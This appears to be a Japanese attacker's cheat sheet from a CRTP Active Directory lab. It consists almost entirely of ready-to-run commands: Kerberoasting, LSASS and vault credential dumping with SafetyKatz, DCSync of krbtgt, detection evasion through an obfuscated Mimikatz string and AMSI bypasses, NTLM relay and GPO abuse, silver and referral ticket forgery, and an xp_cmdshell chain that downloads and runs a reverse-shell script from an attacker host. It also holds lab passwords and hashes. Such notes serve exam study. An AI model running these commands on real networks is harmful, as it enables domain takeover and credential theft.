# アカウントを指定して(/user:)ハッシュを取得する
.\Loader.exe -path .\Rubeus.exe -args kerberoast /user:svcadmin /simple /rc4opsec /outfile:.\hashes.txt
# :1443を削除したのち実行する
# オフラインクラック(Kali Linux)
john --wordlist=/home/kali/crtp/Tools/kerberoast/10k-worst-pass.txt ./hashes.txt
SPNが設定されていなくてもユーザーに対する書き込み権限があればSPNを設定することでKerberoastが実行可能。
# SPNの有無を確認
Get-DomainUser -Identity support24user | select serviceprincipalname
# SPNの設定(フォレスト内で一意のものを設定する必要あり)
Set-DomainObject -Identity support24user -Set @{serviceprincipalname=‘dcorp/whatever1'}
# cmdシェルで実行すること
# ハッシュダンプ
.\Loader.exe -path .\Rubeus.exe -args kerberoast /user:support24user /outfile:.\hash2.txt
# :1443を削除したのち実行する
# オフラインクラック(Kali Linux)
john --wordlist=/home/kali/crtp/Tools/kerberoast/10k-worst-pass.txt ./hashe2.txt
AS-REPs
# ハッシュダンプ
.\Loader.exe -path .\Rubeus.exe -args /user:<user> /outfile:.\hash.txt
# :1443を削除したのち実行する
# オフラインクラック(Kali Linux)
john --wordlist=/home/kali/crtp/Tools/kerberoast/10k-worst-pass.txt ./hashe.txt
4-2. SafetyKatz
- sekurlsa:LSASSメモリからダンプする。横展開を目的としてクレデンシャルダンプすることが多い
- lsadump:レジストリやLSAからダンプする。永続化を目的としてクレデンシャルダンプすることが多い
- lsadump::evasive-dcsync:DCをだましてクレデンシャルをシンク(ダンプ)する
- 以下のいずれかの権限を持っていれば実行できる
- Domain Admin
- Enterprise Admin
- Replicating Directory Changes
- Replicating Directory Changes All
- CRTPでは ACL 誤設定 → DCSync 権限取得 が頻出
- 以下のいずれかの権限を持っていれば実行できる
| コマンド | 目的 | ターゲット | 用途 |
|---|---|---|---|
sekurlsa::evasive-keys |
LSASS メモリ上に存在するKerberos認証鍵(Kerberos long-term keys / session keys)を取得する | ログオン中ユーザー、サービスアカウント、マシンアカウント | Over Pass the Hash, シルバーチケット |
lsadump::evasive-lsa /patch |
ローカルまたはドメインコントローラ上の LSA Secrets を復号して取得する | サービスアカウントの平文パスワード、マシンアカウント(DOMAIN\MACHINE$)の NTLM ハッシュ | マシンアカウントの NTLM ハッシュ取得、DC 上で実行できれば ドメイン全体の横断的侵害 |
lsadump::evasive-dcsync /user:<domain>\krbtgt |
Domain Controller を騙して AD データベースから資格情報を"同期"させる |
/user:で指定したアカウントのNTLM ハッシュ、AES鍵 |
ゴールデンチケットなど作る際に必要となるkrbtgtアカウントのハッシュを侵害 |
アカウントのクレデンシャル
# LSASSメモリからKerberos認証に使用される暗号鍵(TGT/Session Key)を回避手法付きで取得する
.\Loader.exe -path .\SafetyKatz.exe -args "sekurlsa::evasive-keys" "exit"
# LSASS上の全ログオンセッションから平文・NTLM・Kerberosなど利用可能な認証情報を列挙する
.\Loader.exe -path .\SafetyKatz.exe -args "sekurlsa::logonpasswords" "exit"
# LSASSをメモリパッチしてLSA Secrets(サービスアカウントやマシンアカウント秘密情報)を取得する
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-lsa /patch" "exit"
# 現在のプロセスをSYSTEMトークンに昇格させローカル最高権限を取得する
# Windows資格情報マネージャ(Vault)に保存された認証情報をパッチ適用によりダンプする
.\Loader.exe -path .\SafetyKatz.exe -args "token::elevate" "vault::cred /patch" "exit"
以下の方法でも実行できる
$null | winrs -r:<hostname> "cmd /c C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::evasive-keys exit"
krbtgt
/domainを省略すると現在のドメインとなる
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:<domain>\krbtgt /domain:<domainname>" "exit"
ドメイン信頼キー
ドメインコントローラー上で実行する
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "lsadump::evasive-trust /patch" "exit"
DCSync
- ★krbtgtのクレデンシャル取得できる
- DCの部分は適宜埋めること
# ===============================
# 権限確認
# ===============================
# PowerViewでDCsyncできる権限があるか確認
Get-DomainObjectAcl -Identity "DC=*,DC=*,DC=local" | Find-InterestingDomainAcl | ?{$_.IdentityReferenceName -eq "krbtgt"}
## こっちのほうが良い(usernameは自身のアカウント名)
Get-DomainObjectAcl -SearchBase "DC=*,DC=*,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "<username>"}
# ===============================
# 権限がない場合
# ===============================
# ドメイン管理者権限に昇格
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:svcadmin /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
# 管理者権限で検知回避
.\InviShell\RunWithPathAsAdmin.bat
# 権限付与
Add-DomainObjectAcl -TargetIdentity 'DC=*,DC=*,DC=*' -PrincipalIdentity <username> -Rights DCSync -PrincipalDomain <domain_FQDN> -TargetDomain <domain_FQDN> -Verbose
# ===============================
# DCsync
# ===============================
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:<domain>\krbtgt" "exit"
4-3. Invoke-Mimikatz
LSASSダンプ
Invoke-Mimi.ps1の末尾に以下を追記する
$8 = "s";
$c = "e";
$g = "k";
$t = "u";
$p = "r";
$n = "l";
$7 = "s";
$6 = "a";
$l = ":";
$2 = ":";
$z = "e";
$e = "k";
$0 = "e";
$s = "y";
$1 = "s";
$Pwn = $8 + $c + $g + $t + $p + $n + $7 + $6 + $l + $2 + $z + $e + $0 + $s + $1 ;
Invoke-Mimi -Command $Pwn
# $l+$2が動かない場合は以下を設定する
# $Pwn = $8 + $c + $g + $t + $p + $n + $7 + $6 + "::" + $z + $e + $0 + $s + $1 ;
作ったコードを利用する
# 配送
Copy-Item .\Invoke-MimiEx-keys-std24.ps1 \\<hostname>.<domain_FQDN>\c$\'Program Files'
# 横展開
Enter-PSSession -ComputerName <hostname>
# 実行
.\Invoke-MimiEx-keys-std24.ps1
Credential Managerダンプ
Invoke-Mimi.ps1の末尾に以下を追記する
Invoke-Mimi -Command '"token::elevate" "vault::cred /patch"
作ったコードを利用する
# 配送
Copy-Item .\Invoke-MimiEx-vault-std24.ps1 \\<hostname>.<domain_FQDN>\c$\'Program Files'
# 横展開
Enter-PSSession -ComputerName <hostname>
# 実行
.\Invoke-MimiEx-vault-std24.ps1
4-4. NTLM中継攻撃
# 悪意あるショートカットのペイロード
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-WebRequest -Uri 'http://172.16.100.24' -UseDefaultCredentials"
# WSL2でリレーツールを起動(LDAP接続先はドメコン)
sudo ntlmrelayx.py -t ldaps://172.16.2.1 -wh 172.16.100.24 --http-port '80,8080' -i --no-smb-server
# 中継されているセッションに接続する
nc 127.0.0.1 11000
# ポリシーにWriteDACL権限を付与する
write_gpo_dacl <username> {0BF8D01C-1F62-4BDC-958C-57140B67D147}
add_computer std24-gpattack Secretpass@123
write_gpo_dacl std24-gpattack$ {0BF8D01C-1F62-4BDC-958C-57140B67D147}
# 新しいテンプレートを作成する
# --passwordは<username>のパスワード
sudo python3 gpoddity.py --gpo-id '0BF8D01C-1F62-4BDC-958C-57140B67D147' --domain '<domain_FQDN>' --username '<username>' --password 'u3y59YtFkcQVhDqK' --command 'net localgroup administrators <username> /add' --rogue-smbserver-ip '172.16.100.24' --rogue-smbserver-share 'std24-gp' --dc-ip '172.16.2.1' --smb-mode none
# GPOポリシー用を準備し権限設定する
mkdir /mnt/c/AD/Tools/std24-gp
cp -r /mnt/c/AD/Tools/GPOddity/GPT_Out/* /mnt/c/AD/Tools/std24-gp
net share std24-gp=.\std24-gp /grant:Everyone,Full
icacls ".\std24-gp" /grant Everyone:F /T
5. 横展開
5-1. シェルの実行
プレーンパスワードを取得している場合
runas /user:<domain>\<username> /netonly cmd
aes256_hmacを取得している場合
aes256_hmac:暗号化キー
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:<偽造対象のユーザー名> /aes256:<aes256_hmac value> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
5-2. リモート接続
片方失敗してももう片方で成功する場合もあるため両方確認すること
Enter-PSSessionはPowerShell接続を行うためOPSECを考慮するとwinrsから試すほうが良い
列挙にある管理者権限を持つ端末の探索で見つけた端末へ接続する
# WinRMを用いたリモートシェルアクセス
winrs -remote:<hostname> cmd /c "hostname && whoami && echo %date% %time%"
# アカウントを指定して接続する
winrs -remote:<hostname> -u:<domain>\srvadmin -p:TheKeyUs3ron@anyMachine! cmd /c "hostname"
# Powershell Remotingを用いたリモートシェルアクセス
Enter-PSSession -ComputerName <hostname>
# ポートフォワードを設定する
winrs -r:<hostname> cmd /c "netsh interface portproxy show all"
winrs -r:<hostname> cmd /c "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.24"
5-3. クロスドメイン
ドメイン信頼キーをダンプして他ドメインへホップする。
- 他ドメインとの信頼関係を確認する
- 該当のドメイン信頼キーを取得する
- リファラルチケットを偽造する
- リファラルチケットを利用する
| key | value | description |
|---|---|---|
/rc4 |
<rc4_hmac_nt> |
ドメイン信頼キー |
/service |
・krbtgt/<curent domain FQDN>・ <lateral domain DC FQDN>
|
・krbtgtアカウントの所属するドメインのFQDN ・横展開先ドメインのDCのFQDN |
sid |
<current domain SID> |
現在のドメインのSID(Get-DomainSID) |
ticket |
<base64_encoded_value> |
リファラルチケット偽造結果として出力されるbase64の値 |
リソースはCIFSを最優先で指定する。
# 3. リファラルチケットを偽造する
.\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:krbtgt/<curent domain FQDN> /rc4:<rc4_hmac_nt> /sid:<current domain SID> /ldap /user:Administrator /nowrap
# 4. リファラルチケットを利用する
.\Loader.exe -path .\Rubeus.exe -args asktgs /service:cifs/<lateral domain DC FQDN> /dc:<lateral domain DC FQDN> /ptt /ticket:<base64_encoded_value>
5-4. WMI
WMIにアクセスする場合はサービスとしてHOSTとRPCSSが利用できる必要がある。
# HOST用
.\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:host/dcorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3 /id:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt
# RPCSS用
.\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:rpcss/dcorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3 /id:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt
# powershellを起動
InviShell\RunWithRegistryNonAdmin.bat
# WMIアクセス
Get-WmiObject -Class win32_operatingsystem -ComputerName
5-5. SQL
# SQLでOSシェルを悪用してリバースシェルを取得する
Get-SQLServerLinkCrawl -Instance <hostname> -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://172.16.100.24/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://172.16.100.24/amsibypass.txt);iex (iwr -UseBasicParsing http://172.16.100.24/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget eu-sql6